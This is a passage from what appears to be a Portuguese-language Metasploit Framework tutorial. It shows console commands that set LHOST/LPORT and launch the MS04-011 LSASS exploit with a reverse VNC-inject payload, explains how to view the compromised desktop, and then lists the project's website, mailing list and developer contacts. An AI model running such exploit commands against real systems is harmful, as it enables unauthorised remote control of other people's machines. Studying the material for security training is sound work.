LHOST -> your.own.ip
msf lsass_ms04_011(win32_reverse_vncinject) > set LPORT 4321
LPORT -> 4321
msf lsass_ms04_011(win32_reverse_vncinject) > exploit
```

Se o aplicativo 'vncviewer' estiver em seu PATH e a opção AUTOVNC estiver configurada como verdadeira, o que é o seu valor padrão, o Framework irá automaticamente abrir um desktop VNC. Se você preferir se conectar manualmente ao desktop do sistema explorado, configure a opção AUTOVNC para 0, utilize o comando **set**, antes da execução do exploit e então conecte-se

com o aplicativo vncviewer ao sistema local (127.0.0.1) na porta 5900.

Maiores Informações

Web Site

O web site metasploit.com é o primeiro lugar que deve ser visitado para obtenção de módulos atualizados e novas versões. Neste site também estão disponíveis um banco de dados de Opcodes e um bom arquivo de “shellcodes” para ambientes Windows.

Lista de Discussão (Mailing List)

Foi criada também uma lista de discussão sobre o Metasploit Framework. Para assina-la basta enviar uma mensagem em branco para o endereço framework-subscribe [at] metasploit.com e seguir as instruções contidas na mensagem de resposta. A lista é o meio preferido para envio de possíveis problemas, sugestões de novas características e para discutir a utilização do Framework com outros usuários.

Desenvolvedores (Developers)

Se você deseja se envolver no desenvolvimento das próximas versões do Framework, entre em contato com os desenvolvedores através do seguinte endereço de correio eletrônico:

msfdev [at] metasploit.com.